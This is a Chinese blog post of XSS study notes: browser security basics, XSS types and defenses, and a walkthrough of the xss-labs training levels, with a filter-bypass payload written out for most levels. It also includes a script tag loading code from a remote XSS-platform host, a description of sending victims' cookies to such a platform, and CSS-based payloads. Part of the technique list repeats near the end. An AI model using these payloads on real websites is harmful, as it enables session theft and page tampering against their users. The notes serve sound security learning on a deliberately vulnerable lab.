xss

XSS

文档:XSS通关小游戏以及我的挑战思路分享(XS…
链接:http://note.youdao.com/noteshare?id=20a8a71c73b81acc92438ce754c58a8d

基础知识

HTML字符实体

显示结果描述实体名称实体编号
空格   
<小于号&lt;&#60;
>大于号&gt;&#62;
&和号&amp;&#38;
"引号&quot;&#34;

%0A:URL编码、换行符

js执行方式

<input ...><script>alert(1);</script> //直接嵌入script

<script src=https://xsspt.com/MQzN0Z></script> //从远程嵌入script

<input type="text" value="abc" onclick="alert(1);"> //通过事件属性值传入script字符串

<a href=javascript:alert(1)>test</a> //超链接

<a href=javasc&#114;ipt:alert(1)>aaa</a> //html实体转义

html事件

<button onclick="getElementById('demo').innerHTML=Date()">现在的时间是?</button> <button onclick="this.innerHTML=Date()">现在的时间是?</button> <button onclick="displayDate()">现在的时间是?</button>

事件
事件描述
onchangeHTML 元素改变
onclick用户点击 HTML 元素
onmouseover用户在一个HTML元素上移动鼠标
onmouseout用户从一个HTML元素上移开鼠标
onkeydown用户按下键盘按键
onload浏览器已完成页面的加载

绕过姿势

大小写绕过

编码绕过

双写绕过

生僻函数绕过

html基础

<script>
<textarea>
<input>
<form>

js基础

第一个弹窗

<script>alert(1);</script>

js控制台输出

console.log(1)
console.log`1`

js注释符://,仅能注释当前行

!!!WARNING:极其危险,不建议使用。尽量使用闭合!

浏览器安全策略

同源策略

要素:域名、端口、协议

判断下面是否同源(1、5、6)

  1. http://baidu.com/

  2. http://www.baidu.com

  3. http://www.baidu.com:9001

  4. https://baidu.com

  5. http://baidu.com/abc/

  6. http://baidu.com/lab/

xss植入论坛的代码里,然后xss运行后将cookie发送到另外一台服务器上的xss平台上,这明明是两个网站,为什么xss平台网站能够获取论坛的cookie?

http-only

这是一个服务器下发给客户端的一个http响应头的字段内容。

安全策略下的通信
http-only属性开启情况下

浏览器仍然可以自动带上cookie访问访问当前页面网站

当前页面中的js代码去访问其他网站时,不会自动带上cookie去访问非同源网站,cookie无法传送出去

同源策略情况下

网站js能够读取cookie并传送给其他服务器(http-only未开启情况下);

网站js不能够去读取非同源网站的cookie,不能够操作其他网站的DOM。

XSS介绍

XSS概念

CSS(Cross Site Scripting)—>>>XSS(跨站脚本攻击)

目的:让受害者http客户端运行攻击者编写的恶意脚本。

目标:前端脚本解析器,比如浏览器的javascript解析引擎、IE中的VBScript解析引擎。

攻击的架构:BS架构(browser<–>(http)server)

XSS危害

XSS能够产生的危害依赖于浏览器客户端脚本解析引擎的能力。

  • 技术上

窃取凭证

篡改DOM(篡改页面布局及内容)

嵌入恶意的脚本代码

发起恶意请求(Ajax)

  • 社会影响上

无账号密码的情况下非法登录网站

网络钓鱼

网页蠕虫

网页篡改

破解CSRF token限制

XSS漏洞原理

前端用户提交的脚本代码被其他用户浏览器执行产生预期外的执行后果。(让自己提交的前端脚本代码被别人运行)

XSS分类

三类:反射型、存储型、DOM型

反射性XSS:一次性XSS,与服务器交互

存储型XSS:持久性XSS,与服务器交互

DOM型XSS:一次性XSS,不与服务器交互

如何发现XSS漏洞点

找到输入点和输出点、以及两者共存的情况,或者根据输入点猜测后台的输出点位置及触发条件(盲X),比如:各类表单处、文件上传点等等

XSS利用思路与步骤

  1. 找到输入点和输出点、以及两者共存的情况,或者根据输入点猜测后台的输出点位置及触发条件(盲X)
  2. 构造payload,尽量一次性成功
  3. 观察闭合、过滤和拦截情况
  4. 重新构造payload
  5. 如不成功,重复第3、4步

XSS防御思路

  • 白名单策略
  1. 使用白名单写死允许的标签和事件规则
  • 黑名单策略(不可靠)
  1. html实体编码转义"、'、/、<、>、script、事件函数名
  2. 采用成熟防XSS的框架(参考OWASP网站)
  3. 服务端添加http-only头下发到客户端(防止cookie窃取)
  4. 采用最新版本浏览器

闯关

靶场:xss-labs

在线靶场:http://xss-quiz.int21h.jp/

类型:反射型xss

pass1

<script>alert(1)</script>

pass2

"><script>alert(1)</script>

pass3

单引号闭合,使用on事件绕过

Payload:' onclick=alert(1) '

pass4

双引号闭合,使用on事件绕过

Payload:" onmouseover=alert(1) "

pass5

Input标签过滤了on事件及<script>语句,使用<a>标签绕过

Payload: "><a href=javascript:alert(1)>

pass6

Input标签过滤了on事件,<script>语句及<a>标签,使用大小写绕过或者使用svg标签

Payload:"> <a HREF=javascript:alert(1)>test</a>>

或者"><svg x="" Onclick=alert(1)>

pass7

Input标签同样过滤了script等关键字,且将对应的关键字直接置换为空,由此使用双写绕过

Payload:"> <scrscriptipt>alert(1)</scrscriptipt>

pass8

Input标签过滤javascript关键字,会把javascript变成javasc_ript,通过将“JavaScript”进行HTML字符实体转换绕过

Payload:javascri&#x0070;t:alert(1)

pass9

Input标签过滤javascript关键字,会把javascript变成javasc_ript,通过将“JavaScript”进行HTML字符实体转换绕过

通过源码审计得知输入payload必须要包含http://(用单行注释符//注释掉后面的http://)

Payload:javascri&#x0070;t:alert(1)//http://

pass10

打开界面发现没有输入点,使用F12审查元素得知有隐藏的表单

共有三个input标签,但只能使用第三个

将t_sort的type类型修改为text类型,在输入框内输入payload:test" onmouseover="alert(1),回车,无反应,重新将type类型修改为text类型,回车

鼠标移到输入框,通关

前两个标签在修改为text类型后,将payload输入,回车会将payload吃掉

pass11

依旧是隐藏了表单,使用前一关的方法发现对"<等进行了过滤

但又发现多了一个input标签(t_ref)

测试发现修改type类型后无论写什么值都会被覆盖

F12审查发现与网页请求头的referer内容相同

但是referer在本页请求是不存在的,所以在第十关通关时通过抓包修改进入第十一关的referer

在这里插入图片描述

在这里插入图片描述

放行后,进入下一关,修改标签类型为text,回车,鼠标移到输入框,通关

pass12

与十一关类似,直接本关抓包修改user-agent

payload:" onmouseover="alert(1)

payload(抓包建议):" type="text" onclick="alert(1)

或者

​ 直接F12修改t_ua标签

放行(F12修改)后,修改标签类型为text,回车,鼠标移到输入框,通关

pass13

同第十二关

抓包修改cookie

或者

​ 直接F12修改t_cook标签

payload:" onmouseover="alert(1)

payload(抓包建议):" type="text" onclick="alert(1)

pass14/pass15

调用的文件地址失效,无法进行测试

pass16

代码审计值含有keyword变量,且后台将Script、空格、/都进行了过滤

%0A:URL编码、换行符

payload:?keyword=<a%0Atype="text"%0Aonmouseover=alert(1)>

pass17

  1. 根据返回的代码判断,arg01和arg02提交的变量存在注入点

  2. 进行注入

    payload:?arg01=a&arg02=b onmouseover=alert(1)

ps:火狐不支持swf,可以使用谷歌

pass18

同十七关

pass19/pass20

flash xss,涉及到反编译

反射型XSS测试步骤总结

  1. 检测输入变量,确认每个web页面中用户可自定义的变量,如HTTP参数、POST数据、隐藏表单字段值、预定义的radio值或选择值

  2. 分别确认每个输入变量是否存在xss漏洞。变量输入处输入poc,查看返回的web页面的html中poc代码是否被过滤,浏览器是否响应poc,若存在过滤,进行测试查看能否进行绕过。

xss的攻防

1.利用<>标记,构造<script>标签可执行javascript的xss代码。

​ xss过滤函数需过滤<><script></script>等字符。

2.利用html标签属性支持javascript:伪协议(支持标签属性的有href、lowsrc、bgsound、background、value、action、dynsrc等),执行xss代码。

​ xss 过滤函数需过滤JavaScript等关键字。

3.利用javascript在引号中只用分号分隔单词或强制语句结束,用换行符忽略分号强制结束一个完整语句,而忽略回车、空格、tab等键,绕过对javascript的关键字的过滤。

4.利用html标签属性值支持ascii码,对标签属性值进行转码进行规则库的绕过。

​ xss 过滤函数需过滤&#\等字符。

5.利用事件处理函数,触发事件,执行xss代码。例如<img src='#' onerror=alert(/xss/)>,当浏览器响应页面时,找不到图片的地址,触发onerror事件。

6.利用css执行javascript代码

​ css代码中利用expression触发xss漏洞。

<div style="width: expression(alert('xss'));>
<img src="#" style="xss:expression(alert(/xss/));">
<style>body {background-image:expression(alert("xss"));}</style>
<div style="list-style-image:url(javascript:alert('xss'))">

​ css代码中利用@import触发xss

<stytle>
@import 'javascript:alert("XSS")';
</stytle>

​ css代码中使用@import和link方式导入外部含有xss代码的样式表文件

<link rel="stytlesheet" href="http://www.***.com/a.css">
<stytle type='text/css'>@import url(http://www.*.com/a.css);</style>

​ xss过滤函数需过滤style标签、style属性、expression、javascript、import等关键字。

7.利用大小写混淆、使用单引号、不使用引号、使用/插入在img src中间、构造不同的全角字符、 运用/**/混淆过滤规则来绕过过滤函数

8.利用字符编码。javascript支持unicode、escapes、十六进制、八进制等编码形式。

alert(“XSS”)’;


​	css代码中使用@import和link方式导入外部含有xss代码的样式表文件

```html
<link rel="stytlesheet" href="http://www.***.com/a.css">
<stytle type='text/css'>@import url(http://www.*.com/a.css);</style>

​ xss过滤函数需过滤style标签、style属性、expression、javascript、import等关键字。

7.利用大小写混淆、使用单引号、不使用引号、使用/插入在img src中间、构造不同的全角字符、 运用/**/混淆过滤规则来绕过过滤函数

8.利用字符编码。javascript支持unicode、escapes、十六进制、八进制等编码形式。

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值